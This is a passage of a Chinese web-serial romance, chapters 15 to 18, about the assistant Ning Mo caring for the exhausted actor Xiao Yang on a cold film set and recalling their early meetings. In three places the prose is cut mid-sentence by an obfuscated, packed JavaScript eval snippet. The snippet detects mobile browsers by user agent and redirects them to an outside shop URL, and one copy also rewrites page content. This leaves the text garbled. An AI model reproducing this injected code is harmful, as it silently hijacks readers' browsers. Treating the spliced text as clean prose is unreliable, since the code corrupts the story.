宁茉的耳朵更红了，她说话都有点结巴：“我、我帮你贴，这样快一点……” 说完她才意识到不妥，明明王墨就在旁边，她自己动手，反倒像是要占人便宜似的。 “……嗯。”萧扬却没有什么反应，只是含糊地应了一声。 这个时候再喊王墨过来就有些此地无银三百两了，宁茉没有再犹豫，撕开了第三个暖宝宝，看了萧扬一眼。 他嘴里还咬着校服下摆没有松开，低头安静看着别人的时候，那双漂亮的桃花眼全神贯注，画面莫名地有些……蛊人。 宁茉不敢再看他，低着头往萧扬身上贴了四个暖宝宝，又绕到他背后，在后腰的位置贴了一个。 萧扬里面那层打底衣很薄，宁茉每一个动作萧扬都能直接地感受到，她手指很凉，偏偏又贴的仔细，每个都要用手按压确保黏性，冰凉的手指给了人不小的刺激，萧扬脊背僵直，垂着眼，半晌没有说话。 “好啦。”宁茉贴好暖宝宝，终于有了一点笑容，“能坚持四个小时，下午再换一批。” “……好。”萧扬放下校服，揉了揉耳尖，不再看她，转身回了拍摄点位。 这时，浦世诚和霍妍也正好过来。 “宁茉来了？” “浦哥！茉茉给我们带了姜汤！”宋依依给他们递了两杯，“喝点姜汤吧。” “姜汤？”霍妍有些惊讶，“在哪里买的？这个时间饭店都还没开门，不好买吧，麻烦你了。” “不麻烦的，”宁茉笑笑，“你们在这里辛苦了。” “我们还好，就是太冷了，萧扬穿的又少，怕他生病，”浦世诚说道，“我刚才去问了后勤，说是因为准备的太仓促、很多设备都还没运过来，明天小太阳就拿过来了，到时候片场就没这么冷了。” “刚才萧扬哥贴了暖宝宝，”宋依依笑笑，“应该暖和点了。” 浦世诚脸上顿时带了点稀奇：“嘿？这小子平时都不让我碰，怎么今天愿意让你们给他贴暖宝宝了？” “说明我们茉茉厉害，”宋依依朝着宁茉竖了个大拇指，“她一说，萧扬哥就愿意贴啦。” 霍妍也看向宁茉，笑道：“还是你有办法。” 他们和萧扬熟了，经常被萧扬的倔脾气弄得没办法，宁茉这样不熟悉的，竟然反倒还能管一管萧扬。 …… 中午剧组不休息，后勤给工作人员发了盒饭，打算吃完继续拍，浦世诚不爱吃盒饭，眼看片场事情不多，把萧扬一丢，带着几人去了学校附近的炒菜店。 三个助理还有点不好意思，觉得这样把萧扬一个人扔片场不合适，提出轮流过来吃饭，被浦世诚否决了。 “这会儿拍摄任务不重，他一个人能应付得来，刚出道那会儿他都是一个人拍戏，连助理也没有，不也过来了吗？” 这句话说的宁茉眼皮一跳，不知道怎么，突然就想起第一次见到萧扬的场景。 那时他还没有正式出道，在剧组接了个不起眼的配角，宁茉陪着大学同学纪雨霖探班另一个明星，被迫一起去做了造型化了妆，美其名曰仪式感，让对方知道他的粉丝们有多好看——这大概也是纪雨霖拉着她来的原因。 在无数尖叫和鲜花中，宁茉捂着耳朵，躲进了一个没人的角落里，打算等纪雨霖探完班再一起回去。 那天是傍晚，刚下了一场小雨，到处都是湿漉漉的，宁茉漫无目的地走着，不经意遇到了一个人。 那是个看起来年级和自己差不多的少年，大概是个演员，五官精致惹眼，身材轮廓清瘦挺拔，一双漂亮的桃花眼低垂着，正专注地看着手里的剧本。 他穿的戏服十分朴素，只有最简单的花纹装饰，腰带是粗布材质，却将少年的腰线勒出劲瘦好看的弧度，简单往屋檐下一站，就足够吸引人的视线。 宁茉默默看了他一会儿，用脑子里不多的明星库存检索了一下，没有检索到这号人，大概是刚出道的演员吧。 她的视线很快就聚集在少年的头发上，他没有戴头套，头发被雨淋湿了大半，大概是顾不上管、只是随意地抓了抓，发梢末尾的水滴摇摇欲坠，看起来随时会掉下来。 现在这个季节，就这样在室外放任头发湿着不管，很容易生病的。 但少年周身什么也没有，连把伞也没有，更不用说毛巾了。 宁茉把手伸进包里，摸到了前一天买的一次性毛巾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“……谢谢，”少年接过她手里的一次性毛巾，拆了包装，低头擦了擦头发，余光却仍看着她，瞳仁带着亮色。 气氛有些过于安静，宁茉想了想，开口问道：“你……是《月牙城》的演员吗？” 纪雨霖在追的男明星就在《月牙城》剧组当男二，这附近应该都是《月牙城》的拍摄片场，宁茉推测，眼前这个少年多半也是这部剧的演员。 少年点点头，声音清亮好听：“嗯，你也是演员吗？” 宁茉摇摇头：“不是，我……” 她想了想，还是如实说道：“我来探班。” “哦……”少年原本扬起的眉梢微落，意识到对方原来是某个明星的粉丝。 但他还是开口：“我叫肖……萧扬。” 像是怕女孩子听错，他又重复了一遍：“箫声的萧，轻扬的扬。” 宁茉笑了：“萧扬，你好。” 她有点好奇：“你怎么一个人在这里？” 萧扬的经纪公司没有给他配助理吗？宁茉看剧组每个叫得出名字的演员都有助理，萧扬长得这么好看，以后一定大有前途，公司没道理这么冷待他。 萧扬应道：“我的经纪人去公司开会了。” “哦……”宁茉点点头，这就对了，否则也太说不过去了。 “叮！” 微信有了新消息提示，宁茉低头看了眼手机屏幕，纪雨霖正在问她去哪儿了，说是那边已经结束，该回去了。 宁茉收起手机：“我先走了。” 她朝着萧扬点点头，转身朝外走去。 萧扬却突然喊了她一声。 “那个……”他语气有些犹豫，像是开口前还没想好要不要说，却已经开了口，不得不继续。 宁茉转过头看着他，眼底带了些疑惑。 “……你叫什么名字？”萧扬问完脸更红了，慌忙又解释了一句，“我……随便问问。” 宁茉轻声回答道：“我叫宁茉，安宁的宁，茉莉的茉。” “……宁茉，”萧扬低声重复了一遍，随后朝她挥挥手，少年眉眼温柔，眼底满是真挚的笑意，“路上注意安全，再见！” “再见。” 16. 第 16 章 宁茉转过身，脸却渐渐开始发红，她快步离开了剧组同纪雨霖汇合，回去的路上却一直在搜索“萧扬”。 可惜全网都没有这个名字，只有一些同名的名人，宁茉只好放弃。 后来她惦记了很久，直到《月牙城》播出，萧扬才正式被大众所熟知，宁茉完完整整追完了那部剧，加入了萧扬的粉丝群，还保存了萧扬在剧里的剧照。 之后萧扬陆续演了几部剧，知道他的人越来越多，宁茉跟着粉丝去探班，还带了那张保存了几个月的剧照。 回忆到这里，宁茉才突然意识到，原来她曾经和萧扬说过自己的名字。 不过……毕竟已经过去四年了，她一共也只见过萧扬几次、没说过几句话，萧扬不记得她也正常。 “茉茉，你怎么不吃饭？”突然有人在叫她，宁茉回过神，看到对面的宋依依。 “哦……我吃饱了。”宁茉笑笑，又突然皱了下眉，“依依，你的脸怎么这么红？” 宋依依揉了揉自己的脸，有点疑惑：“红吗？” 其他三个人也都朝宋依依看了过来，王墨点点头：“真的好红。” “……”宁茉探出手，在宋依依额头上量了一下，叹了口气，“你好像发烧了。” …… 五个人匆匆吃完饭，王墨、霍妍陪着宋依依去了医院，浦世诚和宁茉则回了片场。 “第一天就有人倒下了，”浦世诚有点发愁，“宁茉，你可保重好身体，别生病了。” “放心吧，”宁茉卷起了袖口，露出里面的保暖衣，“我不抗冻，但我穿的多。” 剧组里依旧是忙的热火朝天，萧扬这几天拍的都是校园暗恋戏份，由于是暗恋，和女生的互动便少了很多，大多时候是作为背景板出现。 他的搭档乔娜娜是个名气不小的网红，似乎对补拍很不满意，加上发现萧扬不会主动和她搭话，脸色就更差了，每天都在追着副导演费书山问海文成什么时候能来，是剧组公认难伺候的女演员。 乔娜娜穿衣打扮都很讲究，做事情也讲究的很，一下戏便有助理给她披衣服、递水、补妆，连擦嘴的纸巾也不用自己动手，会有人接过去扔掉。 宁茉目光偶然看过去，随后便看得有些瞠目结舌：和乔娜娜的那些助理比起来，自己简直像来看热闹的，别说给萧扬披衣服了，她连萧扬身边都没有怎么待过。 可浦世诚和霍妍也没有这样要求过他们，或许……乔娜娜那边开的工资高，所以服务到位？ 终究有些心虚，宁茉主动走到萧扬身边，他正低头看着剧本，心无旁骛，没有注意到宁茉。 “萧扬，喝水吗？”宁茉手里拿着萧扬的保温杯，轻声问道。 才注意到她，萧扬抬眼看了她一眼，随后低头，声音浅淡：“不喝。” “那……你饿吗？” 问完又觉得自己真是多此一问，剧组刚刚放了盒饭，她们还是在萧扬注视下大摇大摆出去吃饭的。 当时走的有多潇洒，现在回来就有多尴尬，仿佛头上都顶着四个字——无情无义。 萧扬也忍不住多看了她一眼，不明白她这个问题从何而来。 宁茉想了想乔娜娜助理的贴心补妆行为，又朝着萧扬的脸上看了一圈。 他皮肤好到似乎不需要粉底，一上午的拍摄也没有让他脱妆，这张脸放大了看，依旧是好看的让人心动，尤其是那双眼睛…… 和萧扬的眼睛对视了好几秒，宁茉才猛然反应过来，自己竟然又在看着萧扬发呆。 萧扬脸上的疑惑呼之欲出：“你有什么事？” “……”宁茉声音有点干，“我就是看看……你有没有什么需要帮忙的事情。” “没有，”萧扬垂下眼眸，继续看他的剧本，“你去休息吧。” ……这话听起来善解人意到让人面红耳赤，宁茉讪讪地拿着保温杯回到了原来的位置。 这边放了几个小马扎，浦世诚正坐在上面，低着头打瞌睡，他大概是连轴转了几天，实在困得不行，以一种十分别扭的姿势睡着了。 宁茉看着他，有点不忍心，正巧有剧组的工作人员在他们身边搬道具，浦世诚被周围的动静吵醒，睁眼对上了宁茉。 “浦哥，你回酒店休息吧，我在这里就行了。” 浦世诚揉了揉眼睛：“几点了？” 宁茉：“一点半。” “那好，我先回去睡一会儿，晚上再来，”浦世诚揉了揉脖子，“确实熬不动了，这几天都没好好睡觉，辛苦你在这里。” 宁茉愣了一下，浦世诚这几天都没睡觉，那萧扬岂不是也没有休息？她原先只以为萧扬是为了快速减重没有吃饭，现在才发觉他竟然是连轴转了两天，难怪整个人看起来憔悴了不少。 浦世诚把车钥匙给了她，嘱咐她缺什么可以去车里拿，随后就离开了。 宁茉坐到了小马扎上，看向不远处的萧扬，萧扬站在树荫下，副导演费书山站在他身边，不知道在和他说什么，萧扬听得很认真，眼底满是专注，阳光透过树叶间的缝隙照在萧扬的脸上，交错的光影愈发显得他轮廓精致、眉眼深邃。 宁茉看着看着，突然有些心动，拿出手机悄悄打开相机，将萧扬放在画面正中心，右边是一颗枫树，红色的枫叶随着风慢慢下落，划过萧扬挺拔的鼻子、薄薄的嘴唇，落到他肩上。 宁茉抓拍了好几张，一边可惜自己没有相机不能把画面完美记录下来，一边感叹萧扬这张脸真是上帝的偏心赐予，无论什么角度都好看到让人叹息，一双眼睛面对镜头时，更是能瞬间击中人的心，泛起一阵颤耸。 宁茉盯着最后那张照片看了几秒，突然觉得有些奇怪。 萧扬最后这张照片……怎么在看镜头？ 意识到了什么，宁茉愣愣抬头，正对上萧扬沉静的目光。 ……好，她偷拍被抓了个正着。 她是助理，拍摄花絮本来就是一件很正常的事情，所以…… 宁茉脑子里一瞬间闪过很多念头，最终都在萧扬无声的注视下败下阵来。 好吧，她的确是觉得刚才那一幕实在好看，忍不住拍了。 带着被抓包的心虚，宁茉重新拿起萧扬的保温杯，快步走到他身边：“……喝水吗？” 萧扬这次没有拒绝，接过水杯，淡淡开口：“拍的好看吗？” “……” 宁茉以为萧扬不会对这件事发表意见，没想到他还真问。 萧扬喝了两口水，目光灼灼看向宁茉，显然是在等她的回复。 宁茉不得不开口：“……好看。” 萧扬：“我看看。” “……”认命般解锁了手机，宁茉打开相册，翻到了刚才拍的那几张照片，举起手机给萧扬看，“喏。” 她觉得萧扬最多也只是看一眼就算了，没想到萧扬伸出手，修长手指在屏幕上划了几下，竟然认真地看完了这四张图，还给了个中肯的评价：“拍的不错，就是糊了点。” “……”宁茉抿了抿嘴，“我的手机便宜，像素就只有这么高了。” 这是实话，她的手机选择从来都是以划算实用为主，没有买过很贵的手机，家里唯一算上的贵的电子设备就是平板，也是为了能更好地画画。 萧扬看了一眼她的手机背面，倒是没有再说话。 剧组拍摄到下午四点，要换拍摄场景，中间有一个小时的休息时间。 宁茉问萧扬是否要回酒店，萧扬摇摇头，示意直接在车里休息，宁茉于是跟着他去了停车场，按了半天的车钥匙，才找到他们的车。 这是一辆七座商务车，是浦世诚来云城后租的，车辆看起来很新，后座是两个带按摩功能的椅子，空间很宽敞。 宁茉启动车辆、打开暖气，又给窗户留了条缝，自己坐到了副驾驶。 萧扬把车座推到最后，放平半躺了下去，长腿微屈，闭上了眼睛休息。 车里很安静，暖气让车里的温度很快就提了上来，宁茉担心一氧化碳浓度过高，把前排的窗户开大了些，却又被冷风吹得受不了，重新拉上了衣服拉链。 萧扬微微睁开眼，将她的动作尽收眼底，随后开口：“你也来后面吧。” “不用，你睡吧，”宁茉回头看他，“这样宽敞一点。” 车里的空间虽然不算小，但萧扬腿长，躺在那里时没有办法伸直，看起来颇有些憋屈，宁茉觉得自己还是不要去占他的地盘了。 “我一个人也只占得了一半，”萧扬大概是真的困了，没有完全睁眼，声音磁性中泛着懒意，“……过来。” “……” 犹豫了几秒，宁茉还是推开副驾驶的门下了车，又按了下商务车后排的门，电动门缓缓移开，她弯腰上了车。 后排座椅比前排宽大了不少，宁茉将椅背稍稍后调，就已经能舒服地躺下，她吐了口气，默默夸了一下浦世诚选车的品位。 萧扬将剧本合在脸上，呼吸逐渐变得平稳，宁茉转头看向他，车里浮动着一阵冷香，是萧扬身上的味道，宁茉一直好奇萧扬用的是哪一款香水，空灵和庄重并存，像夜里绽放开来的冰山雪莲，幽静冷清，又带着一丝清新的香气。 萧扬的头微微朝着一侧偏了一些，那薄薄的剧本从他脸上滑落，眼看就要落下来，宁茉眼疾手快，猛地伸手抓住了剧本，避免它砸在车上发出太大的声响。 再转头去看萧扬，他并没有被吵醒，大概是困得狠了，萧扬已经睡着，眉头微微皱着，呼吸清浅。 车里一时寂静无声。 宁茉轻手轻脚躺下， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14437422|153489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手里捏着已经有些皱巴的剧本，想了想，轻轻翻开看了看。 《风暴降临》的完整剧本萧扬已经看过了，现在拿的是只和他相关的，薄薄几页，戏份并不多，加上他在剧里是个寡言少语的少年，大多时候只有眼神戏，台词就更少了。 但就这么少的戏份，这么薄的台词，萧扬细心地做了很多标记，一些暗示了真相的台词更是用记号笔加粗标红，旁边还附了一些小字，是萧扬对角色的理解。 宁茉看得认真，看着看着，又突然有点难过。 这样认真的男演员，哪怕再小的角色都用心对待，怎么就被冷藏了三年呢？ 最好的年华，从少年到青年，硬生生被打压、磋磨、冷待，成了现在的模样。 ……她记得初见萧扬那几次，萧扬还是很爱笑的。 签名照事件后，宁茉第三次去剧组探班时，没有再拿照片去，只是和一群人给剧组的人送了咖啡——那是场夜戏，剧组熬了个通宵，每个人都挂着浓重的黑眼圈。 粉丝们一人也有一份，宁茉不爱喝咖啡，她那杯就只是提在手里没有动。 萧扬拍摄完自己的戏份，在一旁等着，粉丝们涌上来要他签名合影，他都一一应承，耐心温柔。 宁茉就站在一旁看着，没有凑过去。 萧扬注意到她，冲她笑了笑，主动朝她招手。 宁茉于是走到他身边，听到他低声问：“你要找我签名吗？” 宁茉摇摇头：“这次不签。” 萧扬脸上略过一丝惊讶，随后“哦”了一声，又问：“那……是要给我信吗？” 他眼底闪动着亮光，像是带了些期待。 宁茉看着他身边那些人，觉得有点不好意思，大家都准备了信和礼物，只有自己空着手来，有点尴尬：“……也没有。” “……哦。”少年眉眼微敛，捏着手里的咖啡杯，没有说话。 宁茉这才注意到，不知什么时候他手里的杯子竟然已经空了。 四处看了一圈，买来的应援咖啡本就不多，大部分都已经分了出去，宁茉犹豫了一秒，将手里的咖啡递出去。 “这杯是我的，我没有喝，是干净的。” 萧扬一怔，看了眼宁茉，又看了眼那杯咖啡，突然笑了，欣然接过：“好，谢谢。” 宁茉看着他打开盖子，抿了一口，又对着自己开口：“喝了你的咖啡，作为报答……” “？”宁茉好奇地看向他，等着他的后半句。 “我们合个影吧？” “……”宁茉眨了眨眼睛，还没反应过来，萧扬已经指向不远处的一棵树，“那边风景不错，还能拍到星星，走，去那里。” 萧扬说完抬脚就走，身后几个粉丝激动地喊着你快去啊，她就迷迷糊糊地跟了过去。 萧扬主动拿出手机，调了下角度，微微弯腰降低高度，和宁茉合拍了一张。 宁茉还没来得及笑就看到萧扬按下了拍摄键，一张自己呆呆望着镜头的照片就这样出现了。 她脸色发红，有点懊恼自己反应太慢，又突然后知后觉地意识到一件事：要是合影在萧扬的手机里，她怎么拿到？ 下一秒，萧扬和她同时开口。 “要不然我们加个……” “拿我的手机拍吧！” 萧扬微怔了一下，抿了抿嘴，眉眼稍显落寞地应道：“哦，好吧。” 宁茉把自己的手机拿出来，调到自拍界面，为了和刚才的照片保持一致，她还研究了一下画面，萧扬照片的右上角有一颗星星，宁茉回头看了一眼，夜空里那颗星星不算亮，却是漆黑天色中唯一的亮色。 转过头，宁茉对着镜头露出微笑，却发现画面中萧扬的目光并没有看向镜头，似乎是在看她。 宁茉一愣，抬头看过去，正对上萧扬的目光：“怎么了？” 萧扬微微睁大眼，夜色中他的耳朵似乎有些发红“……没什么，拍吧。” 两个人同时露出微笑，拍了一张合影，宁茉低头看了一遍，满意地点点头。 ——今天找的造型室很靠谱，她的妆容完美，拍出来的照片效果也很好。 “萧扬！”远处有粉丝在喊他，“到你了！” “来了！”萧扬匆匆应下，又看了一眼宁茉，他似乎还有话想说，但又不得不立刻赶去片场。 眼看萧扬重新开始拍摄，粉丝们收拾东西准备离开，宁茉也在其中。 有人提议晚上一起聚餐，宁茉却想着宿舍的门禁，提前离开了。 后来她才知道，那一晚萧扬也去了，请粉丝们吃了饭，而提前离开的宁茉错过了这一顿饭，后悔也晚了。 那也是她最后一次见到萧扬，之后她学业开始繁忙，再没有去追过线下。 …… 17. 第 17 章 宁茉想的入神，不经意看了一眼手机，才意识到一个小时已经到了，萧扬得回去剧组了。 她转头看向萧扬，萧扬还在熟睡，大概是姿势不舒服，他中途动了动，整个人朝向宁茉侧躺着，闭着眼沉睡。 宁茉张开嘴，却没有发出声音，她突然有些不忍心叫醒萧扬：萧扬这些天实在是太累了。 直到一阵铃声突然响起，打破了车里的平静，萧扬也被吵醒，呼吸骤然加快，慢慢睁开眼睛。 他的眼神没有完全聚焦，只是看了一眼身旁的宁茉，哑声问道：“几点了？” 宁茉：“……五点。” 萧扬揉了揉眉心，从位置上坐了起来，伸手去拿放在一旁的水杯。 宁茉轻声开口：“下一个拍摄点在操场，我带你去。” “……好。” 见他要起身下车，宁茉忙喊道：“诶，等等。” 萧扬动作一顿，转头看向她。 宁茉从包里掏出几个新的暖宝宝：“换一下，之前的应该不热了。” 萧扬低头看了一眼自己身上，“嗯”了一声，躺回座椅上，伸手直接拉开了校服的拉链。 他似乎是困倦到实在懒得动，指尖扯了扯暖宝宝的边缘，却没有成功扯下来。 宁茉于是凑到他面前蹲下，伸手去撕他身上贴着的暖宝宝。 暖宝宝入手已经变得温热，和萧扬的体温一个温度，宁茉动作仔细，把他身上的暖宝宝都撕下来，再一个个拆开包装，把新的暖宝宝贴上去。 萧扬没有动作，任由她动手，目光却不自主地盯在宁茉脸上，看着她一脸认真，连做这样的小事都显得专心致志。 看的久了，冷不防宁茉一抬眼看向他：“转过去，背对着我。” “……”这话听着莫名奇怪，萧扬抿了抿嘴，却也没什么异议，起身挪了挪，背对着她。 转身时才觉得行动有些不便，萧扬有些疑惑地低头，看到自己前面严严实实贴了六个暖宝宝，连成一个“工”字，排列的十分有序。 萧扬：“……是不是有点多了？” “不多，”宁茉认真答道，“马上要天黑了，云城的夜晚很冷的。” 萧扬：“……” 背后也是一样的严谨，宁茉生怕他冷，恨不得拿暖宝宝做一圈衣服，萧扬觉得身上都凭空变重了不少。 “好啦，”宁茉贴完后十分满意，忍不住开口，“不过这也是治标不治本，我今天在剧组看到有演员穿了一种自发热的保暖衣，看起来很保暖，你……” 说到这里她犹豫了一下，那个衣服看着是暖和，就是有点丑，以萧扬的脾气……不一定愿意穿。 萧扬却突然向她靠近，两个人距离骤然拉近，那股浅淡的冷香环绕在自己耳畔，宁茉猛地顿住了。 下一秒，萧扬绕过她，从她座位上拿起剧本，坐直了身子：“走吧。” “……好。” 宁茉揉了下自己有点发烫的脸，跟着下了车。 天色已经变暗，两个人一前一后在空荡的校园走着，四周安静地连踩到落叶的声音都一清二楚。 这情景如果放在偶像校园剧里，大抵称得上一声浪漫，但宁茉手里提着大包小包，只暗暗抱怨操场怎么离停车场这么远。 萧扬走了几步，察觉到她跟不上，停下脚步看向她：“怎么拿了那么多东西？” “都是要用的，衣服、水杯、化妆品、营养冲剂、低脂零食……我多带点，以防万一，”宁茉将手里的东西又往上凑了凑：“免得等会儿还要再跑一趟。” “浦世诚呢？” “回酒店了，说晚上会来。”说到这里，宁茉突然反应过来，萧扬难道刚刚才意识到浦世诚不在身边吗？ 萧扬沉默几秒，朝着宁茉走过来：“我提。” “不用不用！”生怕萧扬真的去拿，宁茉慌忙把东西往背后一藏，“不重的，我拿着就好。” “不重为什么不给我？” “……”宁茉眨了眨眼，“我是你的助理，这些东西本来就应该我……” 话音还没落，手中骤然一空，东西竟然被萧扬轻而易举地提走了。 “……！” 萧扬转身就走，几乎不给她反驳的机会，宁茉只好迈开腿跟上，偏偏萧扬腿长、走的又快，她小跑了几步，终于激出了点恼意。 不管了，让他自己拿吧，反正也都是他的东西。 …… 操场的戏份主角是乔娜娜和饰演丁泽的男演员卓磊，萧扬作为背景板，只是默默在看他们聊天。 陈昌对镜头要求很严格，一个只有几秒的镜头也要反复打磨，这场戏拍了很久，直到夜色渐深。 宁茉缩在不远处的小板凳上，给浦世诚打第三个电话。 浦世诚说晚上会来，但眼看都深夜了，也还没见到浦世诚的身影。 电话依旧无人接听，正犹豫着要不要继续打，霍妍的电话突然打了过来。 她先是说了宋依依在医院输了液已经退烧了，随后又问浦世诚在哪，怎么不接她电话。 这话问的宁茉一愣，如实说自己也不知道，浦世诚中午就离开了。 霍妍于是去敲了浦世诚的房门，坚持不懈敲了十分钟，终于把睡梦中的浦世诚敲醒了。 电话里，浦世诚带了点将醒未醒的困意和不多的歉意：“不好意思啊，我睡过头了，等会儿让王墨去开车。” 宁茉回道：“没关系，别让他来了，我开吧。” “你会开吗？” “那个车我研究了一下，是自动挡的，我能开。” “那行，”浦世诚打了个哈欠，看起来对宁茉很是放心，“今天辛苦你，明天你不用跟了，在酒店休息。” 宁茉：“好。” …… 挂掉电话，宁茉察觉头顶多了抹阴影，抬头一看，萧扬不知道什么时候走了过来。 “怎么了？” “中场休息，”萧扬淡淡解释，随后径直坐到她身边，属于萧扬的气息瞬间铺开来，宁茉微微一怔。 他腿长，板凳又小，坐下来时腿舒展开，给人一种几乎坐在地上的错觉。 宁茉多看了几眼，觉得有必要向剧组或是浦世诚申请一个折叠躺椅。 萧扬抬手捏了捏眉心，眼底是肉眼可见的困倦。 宁茉从包里翻出一袋咖啡：“喝咖啡吗？” 萧扬瞥了一眼，是他平常喝的那个牌子新出的挂耳款，宁茉连这个都记得。 不用问，她大概不止带了萧扬一个人的，浦世诚惯常喝的咖啡她一定也带了。 某种程度上，宁茉确实细致到让人惊讶。 “嗯。”萧扬低声开口。 宁茉于是去剧组接了开水，从包里拿出一个咖啡杯洗了洗，又把挂耳咖啡拆开放上去，很慢地往下倒水，棕色的咖啡液顺着滤袋底部的尖尖流下，画面莫名有些治愈。 萧扬偏头看着她动作，宁茉行动时总是不急不缓，像是没什么事情值得她着急，给人一种安心感。 宁茉的耳尖却逐渐开始发红，旁边的人不知道他目光的存在感有多强烈，看得她后背都有些发烫。 不过是冲杯咖啡，也要这样盯着监督吗？还是萧扬确实困了，急需她的咖啡？ 一杯咖啡滤好，宁茉把咖啡包拿出来，伸手就要去拿杯子，却忽略了那杯子在热水中浸泡了许久，杯壁早就烫的惊人。 下一秒，有人反应比她更快，猛地挡住了她的手，灼热的掌心虚握住她的指尖，触感温润，又带着独属于男性的粗粝质感。 宁茉瞬间愣了两秒，仿佛被烫到一般猛地缩回手，抬眼看身旁的萧扬，眼底带了些怔然，又很快反应过来自己刚才的冒失举动。 萧扬神色如常：“小心烫。” “……谢谢。” 修长手指轻轻一抬，他拿走了那杯咖啡，宁茉缩回指尖，又不自觉捻了一下。 这举动引起萧扬的注意，眼眸转向她：“烫到了？” “……没有，”宁茉摇摇头，还是补了一句，“……有点冷。” 说的是谎话，她分明指尖发烫，血液像是不听话般聚集涌向那里，不给她冷却的机会。 萧扬看向她脚边的大包小包：“不是带了衣服吗？” “……都是你的。” 宁茉接话时几乎没有思考，等思考一下才觉得不妥。 “你可以穿，”萧扬说道，“实在冷就回车里等吧，这里没什么事。” 宁茉立刻摇摇头：“没关系，也没那么冷……我就在这里。” 萧扬又看了她一眼，大概觉得她是因为害羞，垂眸伸手，打开了宁茉身旁最大的一个袋子，里面放着他的一款长款黑色羽绒衣。 直到接过羽绒服，宁茉都没想好用什么理由再拒绝，她现在才明白，一句谎话竟然要用无数句谎话来弥补。 在萧扬的注视下，宁茉套上了那件宽大的羽绒服，羽绒服大抵是新从衣柜里拿出来的，还带着衣物清新剂的香味，又染上了萧扬衣柜里的那股冷香，味道十分好闻。 云城的夜晚和白天截然不同，寒风直往骨缝里钻，宁茉原本手脚冰凉，套上这件足够厚实的羽绒服后，再也没有一丝寒意。 剧组继续开始拍摄，萧扬快速喝完了那一杯咖啡，起身走了过去，宁茉则缩在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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两个人走到停车场，偌大的停车场只剩孤零零几辆车，宁茉解锁了车，打开副驾驶的门，把怀里那堆东西一股脑放到了副驾驶上。 萧扬站在车边，目光朝着四周转了一圈，随后落到她身上，眼看着宁茉从副驾驶绕到了驾驶位，抢在她开门前开了口：“浦世诚呢？” 宁茉神情自然：“他没有来，我送你回去。” 萧扬眉头皱起：“他让你开车？” “不是，”眼看浦世诚要背锅，宁茉立刻解释道，“浦哥今天有点累，本来让王墨来的，我觉得太麻烦，就没有让他过来。” 眼看萧扬沉默着站在车边，丝毫没有要上车的意思，宁茉举起手里的车钥匙晃了晃：“我会开的，技术还可以。” 萧扬轻轻抬眸，没有应声。 他当然知道她会开车，他也坐过，但已经深夜一点，昨晚宁茉回房间时也将近三点，再精力再旺盛的人，也做不到撑两天不睡觉，更何况她还是个女生。 宁茉眼看萧扬还不动，正打算再解释两句定一下他的心，却看到萧扬突然抬腿，绕过车头径直朝她走来。 宁茉疑惑了一瞬，直到萧扬手握住车门把手，才弄清楚他的意图：萧扬打算自己开。 “你……” 宁茉下意识想阻止他，萧扬动作却很快，打开车门径直上了车，向着宁茉伸手：“钥匙。” 宁茉将车钥匙握在手里，手背到身后，看着他一言不发。 “……”萧扬眉眼柔和了些，“我来吧，你这两天太辛苦了。” “你也很辛苦，”驾驶座的灯光照在宁茉脸上，她眼底很亮，一字一句说道，“浦哥说，你连着三天都没怎么睡觉，今天又拍了一整天的戏，明天的戏也需要早起。” 她说话语气一向温和，音色也像风铃轻响，让人很容易被她的声音吸引。 “这是我该做的工作，如果你不放心，我们就在这里等王墨来，但是萧扬，你绝对不可以再开车了。” 她这次的态度难得的坚定，萧扬看着她因为紧张瞪大的双眼，微微有些愣神。 宁茉很少叫他的名字，大多时候她会等自己注意到她、或是看向她，才会开口说她要说的话。 偶尔一两次喊他，也是因为着急，或是有必须立刻传达的事情。 唯独此时此刻，在寂静无人的夜色里，宁茉如此郑重、认真地喊他的名字，要他不要再强撑了。 萧扬的性格不是一个容易纠结的人，大多时候他想到什么就会去做，果断干脆，但在这一瞬间，萧扬坐在驾驶座前，破天荒地想，如果他再拖一会儿，女孩还会说出什么话来——他很想听。 18. 第 18 章 “……萧扬！”宁茉见他无动于衷，尾音加重，手因为着急扒在了车窗上，“你先下来。” “……” 萧扬突然笑了，他看着宁茉，深褐瞳底像一汪春水化开，漂亮到不可方物：“知道了，小助理。” 他声音一向磁性低沉，此刻添了笑意，竟莫名多了几分性感，像羽毛拂过心尖，听的人心底发痒。 宁茉耳尖有些发红，看着萧扬长腿一迈，干脆地从驾驶座下车，随后扶住车门，朝她扬了扬下巴：“去吧。” 宁茉弯腰上了车，手刚要去碰车门，萧扬已经轻轻帮她关了门。 随后他走到副驾驶边，打开了副驾驶的门。 宁茉余光瞥到自己扔在副驾驶上的一堆东西，立刻开口：“你坐后面吧。” 萧扬却没有回她，只是伸手将那堆东西提了起来，随后躬身坐进来，长臂向后一展，那堆行李就被放到了后排座位上。 “……”两个人的距离突然被拉近，宁茉顿时有些紧张，她还没有和萧扬靠的这么近过，周身都是他的气息。 启动了车辆，宁茉打开车灯，调整了一下情绪，挂挡轻踩油门，打算从停车场出去。 车辆却没有动，依旧停在原地。 宁茉愣了一下，重新挂挡，再次踩下油门，这次她踩得重了些，听到引擎发出的嗡嗡声，自己却依旧在原地丝毫未动。 